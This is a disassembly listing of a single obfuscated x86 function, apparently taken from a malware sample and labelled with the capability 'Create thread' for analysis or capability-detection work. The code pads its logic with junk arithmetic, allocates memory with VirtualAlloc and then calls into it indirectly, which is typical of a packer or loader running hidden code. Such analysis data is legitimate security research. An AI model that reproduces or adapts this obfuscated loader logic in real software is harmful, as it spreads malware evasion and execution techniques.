Function at 0x1000ad8d
Capabilities:
Create thread

Disassembly:
sub esp, 0x20
xor edx, edx
mov eax, 0x3efe
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], eax
mov dword [esp], edx
mov dword [esp + 0x14], eax
mov dword [esp + 8], 0x3c39
mov dword [esp + 0x10], 0x3cce
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
push ebx
xor eax, 0x2ed
push esi
push edi
cmp dword [esp + 0x18], eax
je 0x1000b314
mov eax, dword [esp + 0x24]
add eax, 0xfffffd79
push ebp
cmp dword [esp + 0x20], eax
je 0x1000b05c
xor dword [esp + 0x24], 0x1e0
xor ecx, ecx
mov eax, dword [0x10055f54]
inc ecx
mov dword [0x10074a74], ecx
mov dword [0x10074a88], ecx
mov dword [0x10074a90], ecx
mov dword [0x10074aa0], ecx
mov dword [0x10074a40], 0x4e
mov dword [0x10074a68], 0x10
mov dword [eax + 0x6c], edx
mov eax, dword [0x10055f54]
mov dword [0x10074ac4], ecx
mov dword [0x10074adc], ecx
mov dword [0x10074ae4], ecx
mov dword [0x10074ae8], ecx
mov dword [0x10074af0], ecx
mov dword [0x10074b00], ecx
mov dword [0x10074abc], 0x12
mov dword [eax + 0xcc], edx
mov eax, dword [0x10055f54]
mov dword [0x10074b10], 0x47
mov dword [eax + 0xd8], 5
mov eax, dword [0x10055f54]
mov dword [0x10074b1c], 0x3e
mov dword [0x10074b20], 0x13
mov dword [eax + 0xf4], 0x44
mov ecx, dword [0x10055f54]
cmp dword [ecx + 0x7c], 0x2a3c
je 0x1000aec7
mov eax, dword [0x10074b1c]
xor eax, dword [0x10074b00]
xor eax, dword [ecx + 0x84]
xor eax, 0x14ca01
mov dword [ecx + 0x84], eax
mov ebx, dword [esp + 0x14]
mov ebp, 0x10074a40
mov edi, dword [esp + 0x24]
add ebx, 0x51
mov esi, dword [esp + 0x10]
sub edi, 0x250
mov edx, dword [esp + 0x2c]
add esi, 0x4021
mov ecx, dword [esp + 0x18]
xor edx, 0x3f02
mov eax, dword [esp + 0x18]
add ecx, 0x2c9
add eax, 0x245
push eax
push ecx
push edx
push esi
push ebp
push edi
push ebx
call fcn.1000ceef
mov ecx, dword [0x10074aa0]
add esp, 0x1c
xor ecx, dword [0x10074ae8]
mov dword [esp + 0x18], eax
mov eax, 0x2ba8
sub eax, ecx
add dword [0x10074a5c], eax
add dword [esp + 0x20], 0x1d5
add dword [esp + 0x14], 0xffffff1a
add dword [esp + 0x24], 0xffffffe4
mov eax, dword [0x10074aa0]
cmp eax, dword [0x10074ae4]
jae 0x1000af59
mov eax, dword [0x10074aac]
jmp 0x1000af70
mov eax, dword [0x10055f54]
mov eax, dword [eax + 0xcc]
sub eax, 0x1fe8b
imul eax, dword [0x10074b00]
mov dword [0x10074b00], eax
xor dword [esp + 0x14], 0x2d6
mov eax, dword [esp + 0x18]
mov ecx, dword [0x10074ac4]
mov dword [esp + 0x18], eax
xor ecx, 0x1f8115
mov eax, dword [0x10074af0]
add eax, 0x3f
push eax
push ecx
push dword [0x10074a5c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x10074a98]
add eax, 0x2000
mov dword [0x10074ad0], eax
xor edx, edx
mov eax, dword [0x10074b1c]
cmp eax, dword [0x10074a74]
cmovne ecx, edx
mov dword [0x10074a98], ecx
xor dword [esp + 0x10], 0x3f4f
mov eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
add dword [esp + 0x10], 0xfffffd7f
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
add edi, 0x1b0
mov edx, dword [esp + 0x18]
xor esi, 0x26d
mov ecx, dword [esp + 0x2c]
add edx, 0x182
mov eax, dword [esp + 0x2c]
add ecx, 0x3e4f
add eax, 0x3f45
push eax
push ecx
push ebp
push edx
push esi
push edi
call fcn.100093bd
mov dword [esp + 0x30], eax
add esp, 0x18
add dword [esp + 0x1c], 0x3e39
mov eax, dword [0x10074b10]
add eax, 0xffee3b1e
mov dword [0x10074a7c], eax
mov eax, 0xffffebc2
xor dword [esp + 0x24], 0x47
sub eax, dword [0x10074b20]
add dword [0x10074a7c], eax
jmp 0x1000b313
mov eax, dword [esp + 0x20]
mov ebp, dword [esp + 0x28]
mov ecx, dword [0x10074ae8]
sub ecx, eax
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
add ebp, ecx
imul eax, dword [0x10074ae4]
mov ecx, dword [esp + 0x1c]
xor ecx, 0x3e7e
or ebx, eax
mov eax, dword [0x10055f54]
mov edi, dword [eax + 0xb0]
mov eax, dword [esp + 0x20]
and edi, ecx
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0x28]
sub esi, eax
mov eax, dword [0x10074ab0]
mov edx, dword [0x10055f54]
or eax, 0x3efe
xor esi, dword [0x10074b0c]
and ecx, eax
mov eax, dword [0x10074a94]
imul eax, dword [0x10074ae4]
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call sym.goa913xa1.dll_CDHcW5zNr
mov dword [esp + 0x44], eax
mov ebp, 0x3cce
mov eax, dword [0x10055f54]
add esp, 0x1c
mov ecx, dword [eax + 0xb4]
mov eax, dword [esp + 0x28]
xor ecx, 0x3c39
and eax, ecx
or dword [esp + 0x1c], eax
mov eax, dword [esp + 0x20]
or eax, dword [0x10074b24]
or eax, ebp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x28]
add eax, dword [esp + 0x28]
imul eax, dword [0x10074b00]
mov ecx, dword [0x10074a88]
sub ecx, dword [0x10074b0c]
mov dword [0x10074b00], eax
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov edi, dword [0x10074aa8]
imul edi, dword [0x10074ad8]
mov edx, dword [0x10074a94]
xor esi, dword [0x10074b0c]
and edx, 0x3f1e
xor ebx, dword [0x10074b0c]
imul eax, ecx
mov ecx, dword [esp + 0x14]
sub edi, 0x3e04
add dword [0x10074ac4], eax
mov eax, dword [0x10055f54]
sub ecx, dword [eax + 0xd8]
mov eax, dword [0x10074ae8]
and eax, 0x4021
push eax
push ecx
push edx
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [esp + 0x18]
sub eax, dword [0x10074aa0]
imul eax, eax, 0x3ea3
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
or ecx, 0x3e18
and eax, dword [0x10074a90]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov eax, dword [esp + 0x18]
sub eax, 0x3efe
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x10055f54]
imul edx, dword [0x10074a74], 0x3e04
mov ecx, dword [esp + 0x1c]
or ecx, dword [eax + 0x50]
push ecx
add edx, ebp
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov eax, dword [esp + 0x14]
add eax, 0x3e4f
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x11
push 0x6a
push 0x1da4
push 0x1dba
push 0x1cb0
push 0x3473
call fcn.1000c8b4
mov ebp, dword [esp + 0x3c]
imul ebx, dword [esp + 0x28], 0xf800404
mov edi, dword [esp + 0x44]
mov edx, dword [esp + 0x38]
add edi, 0x4008
and edx, dword [esp + 0x44]
mov ecx, dword [esp + 0x38]
add edx, dword [0x10074b0c]
imul ebp, dword [0x10074a88]
and edi, dword [0x10074b10]
mov dword [0x10074b58], eax
mov eax, dword [0x10055f54]
push 0x10074a40
mov esi, dword [eax + 0xdc]
mov eax, dword [0x10074afc]
xor esi, 0x3cce
imul eax, dword [0x10074ac4]
imul ecx, eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call fcn.1000d7b7
mov ecx, dword [0x10074b24]
and ecx, dword [0x10074b18]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x5c]
mov ebp, dword [esp + 0x50]
xor eax, ecx
mov ebx, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
imul ebp, dword [0x10074b24]
xor edi, dword [0x10074a84]
mov dword [0x10074af0], eax
mov eax, 0xffffbff8
sub eax, dword [0x10074aa0]
add ebx, eax
mov eax, dword [esp + 0x50]
mov esi, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
add eax, dword [0x10074ac4]
imul ecx, dword [0x10074a74]
add esi, eax
mov edx, dword [0x10074af0]
mov eax, dword [esp + 0x60]
or edx, 0x3fbe
xor edx, 0x3cab
imul eax, ecx
push eax
push edx
push esi
push edi
push ebx
push 0x10074a40
push ebp
call fcn.1000d4eb
add esp, 0x50
mov dword [esp + 0x24], eax
pop ebp
xor dword [esp + 0x18], 0x2f7
xor dword [esp + 0x1c], 0x1e6
add dword [esp + 0x14], 0x4b
add dword [esp + 0x10], 0x353
add dword [esp + 0x10], 0xfffffefd
add dword [esp + 0x1c], 0xfffffef4
mov eax, dword [esp + 0xc]
add eax, 0x2f0
cmp dword [esp + 0x18], eax
jge 0x1000b426
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x10]
add ebx, 0x3fbe
mov edx, dword [esp + 0x24]
add edi, 0x27
mov ecx, dword [esp + 0x18]
xor edx, 0xe6
mov eax, dword [esp + 0x10]
xor ecx, 0xdd
mov esi, dword [0x10055f54]
sub eax, 0x11a
push eax
push ecx
push edx
push esi
push edi
push ebx
call fcn.1000b625
mov dword [esp + 0x40], eax
add esp, 0x18
mov eax, dword [0x10074ad0]
mov dword [0x10074ac0], eax
xor dword [esp + 0xc], 0x4c
add dword [esp + 0x18], 0x181
xor dword [esp + 0x20], 0x15d
add dword [esp + 0xc], 0x29c
mov eax, dword [0x10074b18]
cmp eax, dword [0x10074b1c]
jb 0x1000b3e7
mov eax, dword [0x10055f54]
mov eax, dword [eax + 0xdc]
add eax, dword [0x10074adc]
add dword [0x10074a88], eax
jmp 0x1000b411
mov ecx, dword [0x10055f54]
mov eax, dword [ecx + 0x8c]
add eax, dword [0x10074b14]
push eax
push dword [0x10074b08]
push dword [ecx + 0xfc]
call dword [0x10074ac0]
mov dword [0x10074b04], eax
add dword [esp + 0x20], 0xfffffeb6
add dword [esp + 0x14], 0x2f
add dword [esp + 0x14], 0x84
mov eax, dword [0x10055f54]
pop edi
pop esi
pop ebx
mov eax, dword [eax + 0xc4]
add esp, 0x20
ret 0x10